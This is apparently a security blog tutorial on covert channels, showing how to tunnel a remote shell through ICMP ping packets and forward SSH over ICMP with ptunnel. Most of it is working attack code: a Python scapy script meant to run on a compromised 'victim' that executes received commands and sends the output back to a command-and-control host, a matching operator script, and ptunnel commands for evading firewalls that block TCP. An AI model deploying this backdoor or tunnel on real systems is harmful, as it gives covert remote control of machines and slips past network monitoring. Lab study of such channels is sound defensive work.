Covert Channels
Introduction
Covert channels are a way to hide and/or obfuscate your connection. This can be done by minimizing your communication, or by tunnelling the traffic through different protocols.
ICMP Tunneling
One way of setting up a covert channelling is by using ICMP tunnelling. This wraps the data is an ICMP packet, these packets are allowed on most networks.
A ping packet has a lot of reserved space, which is often filled with a buffer of null-bytes. This space can be used to send data over. This cannot be a lot, but a simple shell works.
Say, you compromise a machine within a network, but you know that the network is very strict on all TCP connections. Then we tunnel the traffic to ICMP, an allowed protocol, so we can control our victim.
First, I wanted to manually make a simple script that communicates over ICMP. This is the result of searching and debugging. (source)
Client (executed on the victim)
#!/usr/bin/env python3
import os
from scapy.all import *
ip = "192.168.241.130"
def main():
while True:
# wait for the ICMP message containing the command from the C2 server to be received
rx = sniff(filter="icmp", count=1)
var = rx[0]
if Raw not in var: #If the packet does not contain Raw, it is a wrong message
continue
var = rx[0][Raw].load.decode('utf-8')
# run the command and save the result
res = os.popen(var).read()
print(res)
# build the ICMP packet with the result as the payload
#This packet is send back to the server.
send(IP(dst=ip)/ICMP(type="echo-reply", id=0x0001, seq=0x1)/res)
if __name__ == "__main__":
main()
Server (executed on Kali)
#!/usr/bin/env python3
from scapy.all import *
ip="192.168.241.132"
def main():
while True:
command = input('# Enter command: ')
# build the ICMP packet with the command as the payload
pinger = IP(dst=ip)/ICMP(id=0x0001, seq=0x1)/command
send(pinger)
# wait for the ICMP message containing the answer from the agent to be received
rx = sniff(filter="icmp", count=3) #Capture more than one packet, too much takes long, too little might nog contain the response
for r in rx:
if Raw in r: # If the packet contains a Raw load, we have the correct response.
print(r[Raw].load.decode('utf-8'))
if __name__ == "__main__":
main()
This is an extremely simple reverse shell over ICMP. Both scripts need to be started as root to use the pinger on Linux. Then the C2 server sent a ping request with a command, this command is executed and a reply with the result of the executing is sent back. As you can see on the Wireshark result (captured on Kali), the server sent 2 replies. The first one is the default reply sent by the victim machine itself. The second reply is sent by the script, this contains the result of the executed command.
Great! But now we want to advance in the network. How would we do this? Well, using ptunnel we can create a port-forward tunnel over ICMP, to use SSH, for instance. This can be done with the following command:
#Server (victim)
sudo ptunnnel -v 4
#client (kali)
sudo ptunnel -p 192.168.241.131 -lp 8000 -da 192.168.241.132 -dp 22 -c eth0
Once again, all of the commands need to run as root. On the server, you start a listener to listen for the incoming connection. The -v 4
is to show the most output for debugging. Then, the second command needs to be executed on the client, in this case, Kali.
-
-p
The IP of the listening server -
-lp
The local port to forward -
-da
The remote machine to forward the traffic to (target in this case) -
-dp
The remote port of the target -
-c
The interface of the local machine to use.
This creates a port forward form my Kali port 8000 to the target port 22. Now I can communicate with the target over SSH through ICMP